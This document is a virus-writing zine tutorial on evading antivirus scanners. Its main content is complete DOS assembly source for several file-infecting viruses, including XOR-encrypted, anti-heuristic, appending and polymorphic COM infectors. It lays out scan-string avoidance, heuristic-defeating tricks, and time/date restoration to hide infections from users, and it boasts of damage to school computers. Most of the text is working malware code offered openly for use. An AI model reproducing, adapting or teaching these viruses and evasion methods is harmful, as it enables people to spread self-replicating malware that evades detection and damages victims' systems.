*** AVOIDING DETECTION ****
By Arsonic[Codebreakers]

The best thrill u get from a virus is not destroying someones computer, and causing massive mayham.. but the thrill u get from knowing that your virus has made it to the wild.. that your virus is not detectable by some of the most famous virus scanners on the face of the planet. and as these scanners get more and more sophisicated.. the need for better and newer ways to remain undetectable increases.

The Following article deals with very basic ways (yet they work) for your virus's to get past scanners.

ScanStrings

A virus scanners search executables for scanstrings which are about four plus bytes of uncommon code that will not be used in any normal programs. So your virus's should use the most common code as possible.

Also its unwise to leave strings such as *.com and *.exe unencrypted you could change these strings abit so they would not be scanstrings.. such as *.com becomes *.c* and *.exe becomes *.e*

Encryption

Encryption is a great way for a virus to hide itself from scanners and it also minimizes the number of bytes a av person has to get a scanstring from. Encryption Routines can be simple such as xor, or very complex.

    -----------------------CUT HERE---------------------------------------------
    start_of_xor:                  ;start of the virus
    lea si,encryption_start        ;si points to the start of the encrypted area
    mov di,si
    mov cx,end - encryption_start  ;total number of bytes in the encrypted area
    call encryption                ;call the encryption routine
    jmp encrption_start            ;and goto the encrypted area

    encryption:                    ;our encryption routine
    lodsb                          ;load a byte into al
    xor al,byte ptr[decrypt]       ;xor the byte in al with the value from decrypt
    stosb                          ;put the byte back
    loop encryption                ;and do it again until cx = 0
    ret                            ;return from call

    decrypt db 0                   ;our value in which to decrypt with

    encryption_start:              ;start of encrypted area..
                                   ;everything passed here is encrypted

    mov ah,4eh                     ;Dos Function 4eh (find first file)
    lea dx,filemask                ;the type of files to find (*.com)
    find_next:                     ;label used for find next.. (saves bytes)
    int 21h
    jnc infect                     ;if file found.. then infect it
    jmp close                      ;else we close

    infect:                        ;start of the infect routine
    mov ax,3d02h                   ;Dos Function 3d02 (openfile)
    mov dx,9eh                     ;9eh is where the filename is in the dta
    int 21h

    xchg bx,ax                     ;put the file handle into bx

    in al,40h                      ;get random value from system clock into al
    mov byte ptr [decrypt],al      ;and save it as our new decrypt key

    mov ah,40h                               ;Dos Function 40 (Write to File)
    lea dx,start_of_xor                      ;start of the virus
    mov cx,encryption_start - start_of_xor   ;total bytes to write
    int 21h

    lea si,encryption_start                  ;si points to the start of the
    encrypted area
    mov di,end_of_xor                        ;di points to end of the encrypted
    area / virus
    mov cx,end_of_xor - encryption_start     ;cx = the total number of bytes to
    encrypt
    call encryption                          ;call the encryption routine

    mov ah,40h                               ;Dos Function 40 (Write to File)
    lea dx,encryption_start                  ;starting at start of encrypted area
    mov cx,end_of_xor - encryption_start     ;cx = total number of bytes in the
    encrypted area
    int 21h

    mov ah,3eh                               ;Dos Function 3e (Close File)
    int 21h

    mov ah,4fh                               ;Dos Function 4f (Find Next File)
    jmp find_next

    close:
    int 20h       ;return control to dos

    filemask db '*.com',0          ;filetype to infect
    Virus    db 'Xor Example',0    ;virus name
    end_of_xor:

    -------------------END OF CUT-----------------------------------------------

Screwing Up Heristics

Heuristics are what a virus scanner uses to detect "virus like" code. so you are not just finding and changing scanstrings nowadays when a scanner detects your code. a quick, nice and simple way to make it past heuristics is to add a value unto the register..

example:

     mov ah,3eh  ;right now its Dos Function 3e (Close File)
     add ah,2    ;add 2 to ah.. so it becomes.. 40 (write to file)

u could also put the value into another register first, add 2 to it, and then mov that value to the register needed for the function..

     mov al,3eh    ;what this does is exsentually the same thing. but
     add al,2      ;uses another register.. adds 2, and then switches it to the
     xchg ah,al    ;right register.

     ----------- Cut Here ----------------------------------------------------
    ; heres is a stupid little overwriter i wrote while i was attempting to write
    ; a unencrypted virus not yet detectable by any scanner. the code is fairly
    ; simple. For every Ah needed in the virus.. the value minus to is put into
    ; al, and a call to a routine that adds 2 to al and then switches it with
    ; ah.
    ;
    ; Stats:  AVP    NOPE
    ;         FPROT  NOPE
    ;         TBAV   NOPE
    ;

    Start_Of_Virus:
    Find_First:
    mov al,4ch
    call Increase_Al
    Find_Next:
    lea dx,Filemask
    int 21h
    jnc Infect
    jmp Close

    Infect:
    mov ax,3d02h
    mov dx,9eh
    int 21h

    xchg bx,ax

    mov al,3eh
    lea dx,Start_Of_Virus
    mov cx,End_Of_Virus - Start_Of_Virus
    call Increase_Al
    int 21h

    mov al,3ch
    call Increase_Al
    int 21h

    mov al,4dh
    call Increase_Al
    jmp Find_Next

    Increase_Al:
    add al,2
    xchg al,ah
    ret

    Close:
    ret

    FileMask db '*.c*',0              ;if *.com was used it would be detected!
    Virus    db 'Fuck The Police!',0
    Author   db 'Arsonic',0
    End_Of_Virus:

    -------------------- Dont Cut Past Here ----------------------------------

heres another little trick.. which surely can be improved since it is detected as Suspicous by F-Prot. All this is, is to call a routine to do int 21h and then return.

example:

    mov ah,9h         ;Dos Function 9 (display string to screen)
    lea dx,message    ;dx = bytes to write to screen
    call int_21h      ;call the routine to do a int 21h
    int 20h           ;return control to dos

    message db 'Arsonic + XHiltar',13,10,'$'   ;message to write to screen

    int_21h:   ;our little int_21h routine
    int 21h    ;all we do is a int 21h
    ret        ;and return

    ----------------------- Cut Here ------------------------------------------

    start:
    mov ah,4eh           ;dos function 4e (find first file)
    lea dx,filemask      ;dx = type of file to find
    call int_21h         ;call the int_21h routine
    jnc infect           ;one found.. then infect
    jmp close            ;else close

    infect:
    mov ax,3d02h         ;open file
    mov dx,9eh           ;location of filename in dta
    call int_21h         ;call the int_21h routine

    xchg bx,ax           ;put the filehandle into bx

    mov ah,40h           ;dos function 40 (write to file)
    lea dx,start         ;starting at start
    mov cx,end - start   ;cx = total number of bytes to write.. from end - start
    call int_21h         ;call our int_21h routine

    mov ah,3eh           ;dos function 3e (close file)
    call int_21h         ;call our int_21h routine

    int 20h              ;return control to dos

    int_21h:             ;int_21h routine
    int 21h              ;do a int 21h
    ret                  ;and return

    filemask db '*.c*',0          ;file extension to find
    virus    db 'Int 21h Trick'
    end:
    ------------------- Hey FUCKHEAD DONT CUT PASTE HERE! ----------------------

Random Filesize Increase

Alright.. so we've covered alot on hiding your virus from av programs.. but what about the user?. time/date restoration and attribute restoration are kickass.. because if u look at one directory and see all the exes, coms whatever have the same time and date your gonna get suspicous. Also filesize increases might be spotted by users. This little Routine will give your virus a totally random filesize, and might even confuse some stupid people..

    its pretty simple.. all we do is 1) set file pointer to EOF (end of file)
                                     2) write some garbage bytes
                                     3) get a random value from system clock
                                     4) compare it and see if it is time to quit

    Size_Increase:
    mov ax,4202h             ;Dos Function 4202 (set filepointer to end of file)
    xor cx,cx
    xor dx,dx
    int 21h

    mov ah,40h               ;Dos Function 40 (write to file)
    lea dx,write_byte        ;dx = write_byte
    mov cx,3                 ;we are writing 3 bytes
    int 21h

    in al,40h                ;get value into al
    and al,10                ;not greater then 10

    cmp al,5                 ;compare al to 5
    je Close_File            ;if its equal .. its time to exit
    jmp Size_Increase        ;else we do it all over again

    write_byte db 'ARS'      ;the 3 bytes we write to the end

    -------------- Start of Cut ----------------------------------------------

    Start:
    mov ah,4eh
    Find_Next:
    lea dx,Filemask
    int 21h
    jnc Infect
    jmp Close

    Infect:
    mov ax,3d02h
    mov dx,9eh
    int 21h

    xchg bx,ax

    mov ah,40h
    lea dx,Start
    mov cx,End - Start
    int 21h

    Meta_Morph:
    mov ax,4202h
    xor cx,cx
    xor dx,dx
    int 21h

    mov ah,40h
    lea dx,writebyte
    mov cx,1
    int 21h

    in al,40h
    and al,7

    cmp al,6
    jne Meta_Morph
    jmp Close_File

    Close_File:
    mov ah,3eh
    int 21h

    mov ah,4fh
    jmp Find_Next

    Close:
    int 20h

    writebyte db 'a'
    filemask db '*.com',0
    Virus db 'I love Lisa'
    Author db 'Arsonic'
    End:

    ------------------ If your cutting past here.. youve gone too far----------

ok.. thats like it for this tutorial.. below are two of my other virus's just because..eh. yeah. alright fine. WHATEVER

       Greetz to:  Spooky -Tha Porn King
                   Opic   -Tha Man!
                   Sea4   -Tha Cop Killer
                   HT     -Future Editor For The NewYork Times
                  Aperson -if u want crack.. call him. (also heroin!)
                Saaweetie -watch it for she will send ya a batch file!
                 Groucho  -get better man :(
                 XHILTAR  -I LOVE U LISA!!!!!!!!

       Fuck-Yous to:

      My Computer Teachers -The Dumbass's Pulled Drained all the schools cpu
       batterys cause they thought elvira infected the CMOS! .. haha
       and as we speak the servers are being rebuilt. Thats what they get
       for having a outdated virus scanner i guess.

      Cutie Pie -Hey.. U got your windows back up yet? .. hey.. i think
      saaweetie has a batch file to fix that!!!!! CRASH! haha!

     -------------------Start Ripping Here-------------------------------------
    ; Virus: The Undressed Virus
    ; Author: Arsonic[Codebreakers]
    ; Type: Appending
    ; Encryption: No
    ;
    ; Displays a Message on Feb 5th.
    ; Btw.. I Love Lisa..!
    ;------------------------------------------------------------------------
    ;  AV-Product |         Detected? |            Comments
    ;------------------------------------------------------------------------
    ; F-Prot      |    No             |  Easy to Get Past.. FPROT SUCKS!
    ; TBAV        |    Unknown Virus  |  Well.. at least it aint say VCL!
    ; AVP         |    VCL.824        |  VCL! ARRGGGHH!
    ;------------------------------------------------------------------------

    db 0e9h,0,0
    start:
    call delta
    delta:
    pop bp
    sub bp,offset delta

    mov cx,0ffffh     ;kill heristics
    fprot_loopy:
    jmp back
    mov ax,4c00h
    int 21h
    back:
    loop fprot_loopy

    mov cx,3
    nop
    mov di,100h
    nop
    lea si,[bp+buffer]
    nop
    rep movsb

    find_first:
    mov ah,4ch
    add ah,2
    nop
    find_next:
    nop
    lea dx,[bp+filemask]
    nop
    int 21h
    jnc infect
    jmp check_payload

    infect:
    mov ax,3d02h
    mov dx,9eh
    int 21h

    xchg ax,bx

    mov ah,3dh
    add ah,2
    mov cx,3
    lea dx,[bp+buffer]
    int 21h

    mov ax,word ptr[80h + 1ah]
    nop
    sub ax,end - start + 3
    nop
    cmp ax,word ptr[bp+buffer+1]
    nop
    je close_file

    mov ax,word ptr[80h + 1ah]
    nop
    sub ax,3
    nop
    mov word ptr[bp+three+1],ax

    mov ax,4200h
    xor cx,cx
    cwd
    int 21h

    mov ah,3eh
    add ah,2
    nop
    lea dx,[bp+three]
    nop
    mov cx,3
    nop
    int 21h

    mov ax,4202h
    xor cx,cx
    cwd
    int 21h

    mov ah,3eh
    add ah,2
    nop
    lea dx,[bp+start]
    nop
    mov cx,end - start
    nop
    int 21h

    close_file:
    mov ah,3ch
    add ah,2
    int 21h

    mov ah,4dh
    add ah,2
    jmp find_next

    check_payload:
    mov ah,2ah
    int 21h
    cmp dh,2       ;is it febuary?
    je next
    jmp close
    next:
    cmp dl,5       ;the 5th?
    je payload     ;yes.. display the message
    jmp close      ;no.. return control to the program.

    payload:
    mov ah,9h ;display message
    lea dx,[bp+message]
    int 21h
    int 00h  ;get keypress
    int 16h
    int 20h  ;return to dos.

    close:
    mov di,100h   ;return control to program
    jmp di

    three db 0e9h,0,0
    filemask  db '*.co*',0     ;if *.com it would be detected as trival variant

    buffer    db 0cdh,20h,0
    virus     db 'The UnDreSSeD',0         ; messages to give those av'ers a
    author    db 'Arsonic[CB]',0           ; nice scan string..
    message   db 'Happy Birthday Lisa!',10,13,'$'
    Lisa      db 'I LOVE U LISA!',0
    end:

    --------- STOP DA FUCKING CUTTING NOW ------------------------------------

    --------- START IT AGAIN! ahhhhhhhhhhhhhhhhhhhh --------------------------
    ; The Xhiltar Virus
    ; By Arsonic[Codebreakers]
    ; Type: Runtime Appending Com Infector
    ; Encrypted: Yes
    ; Polymorphic: Yes
    ; Time/Date: Yes
    ; add Attrib: Yes
    ; Changes Directory's: Yes (dotdot method)
    ; Anti-Anti-Virus: Yes (anti-heristics)
    db 0e9h,0,0

    start:
    call delta
    delta:
    pop bp
    sub bp,offset delta

    mov cx,0ffffh                   ;fuck up those heristics!
    fprot_loopy:
    jmp back
    mov ax,4c00h
    int 21h
    back:
    loop fprot_loopy

    lea si,[bp+hidden_start]
    mov di,si
    mov cx,end - hidden_start
    call encryption
    jmp  hidden_start

    value db 0

    encryption:                       ;encryption routine
    call poly
    encrypt:
    lodsb                         ;1
    _1stDummy:
    nop                           ;1 = +1
    xor al,byte ptr[bp+value]     ;4
    _2ndDummy:
    nop                           ;1 = +6
    stosb                         ;1
    _3rdDummy:
    nop                           ;1 = +8
    loop encrypt                  ;2
    _4thDummy:
    nop                           ;1 = +11

    ret

    hidden_start:
    mov cx,3
    mov di,100h                    ;restore the first 3 bytes
    lea si,[bp+buff]
    rep movsb

    find_first:                    ;find first file
    mov  ah,4eh
    find_next:
    lea  dx,[bp+filemask]
    xor  cx,cx                     ;with 0 attrib's..
    int  21h
    jnc  infect

    close:
    push 100h
    ret

    infect:
    mov ax,3d02h                   ;open file
    mov dx,9eh
    int 21h
    xchg bx,ax

    mov ax,5700h                   ;get time/date
    int 21h
    push dx                        ;save the values
    push cx

    in   al,40h                    ;get new encrypt value from system clock
    mov  byte ptr [bp+value],al

    mov ah,3fh                     ;read 3 bytes from the file.. too
    mov cx,3                       ;be replaced with a jump to the virus
    lea dx,[bp+buff]
    int 21h

    mov ax,word ptr [80h + 1ah]    ;check for infect
    sub ax,end - start + 3
    cmp ax,word ptr[bp+buff+1]
    je close_file

    mov ax,word ptr[80h + 1ah]
    sub ax,3
    mov word ptr[bp+three+1],ax

    mov ax,4200h                   ;goto start of file
    xor cx,cx
    xor dx,dx
    int 21h

    mov ah,40h                     ;write the 3 byte jump
    lea dx,[bp+three]
    mov cx,3
    int 21h

    mov ax,4202h                   ;goto end of file
    xor cx,cx
    xor dx,dx
    int 21h

    mov ah,40h                     ;write the unencrypted area
    lea dx,[bp+start]
    mov cx,hidden_start - start
    int 21h

    lea si,[bp+hidden_start]       ;encrypt the virus
    lea di,[bp+end]
    mov cx,end - hidden_start
    call encryption

    mov ah,40h                     ;write encrypted area
    lea dx,[bp+end]
    mov cx,end - hidden_start
    int 21h

    close_file:
    mov ax,5701h                   ;restore time/date
    pop cx                         ;with saved values
    pop dx
    int 21h

    mov ah,3eh                     ;close file
    int 21h

    mov  ah,4Fh                    ;find next file
    jmp find_next

    poly:
    call random                    ;get random value
    mov [bp+_1stDummy],dl          ;write random do-nothing call to encrypt
    call random
    mov [bp+_2ndDummy],dl
    call random
    mov [bp+_3rdDummy],dl
    call random
    mov [bp+_4thDummy],dl
    ret

    garbage:
    nop       ; no operation instruction
    clc       ; Clear Carry
    stc       ; Set Carry
    sti       ; Set Interuppt Flag
    cld       ; Clear Direction Flag
    cbw       ; Convert byte to word
    inc  dx   ; increase dx
    dec  dx   ; decrease dx
    lahf      ; loads AH with flags

    random:
    in ax,40h
    and ax,7
    xchg bx,ax
    add  bx,offset garbage
    add  bx,bp
    mov  dl,[bx]
    ret

    filemask db '*.com',0
    three    db 0e9h,0,0
    buff     db 0cdh,20h,0
    dotdot   db '..',0
    author   db 'Arsonic[Codebreakers]',13,10,'$'
    virus    db 'the XHiLTAR virus',13,10,'$'
             db 'I LOVE U LISA',13,10,'$'
             db 'I LOVE U SOOOO MUCH!',13,10,'$'
    end:

    ---------------------- End of All of it -----------------------------------

Laters Y'all

Arsonic [Codebreakers]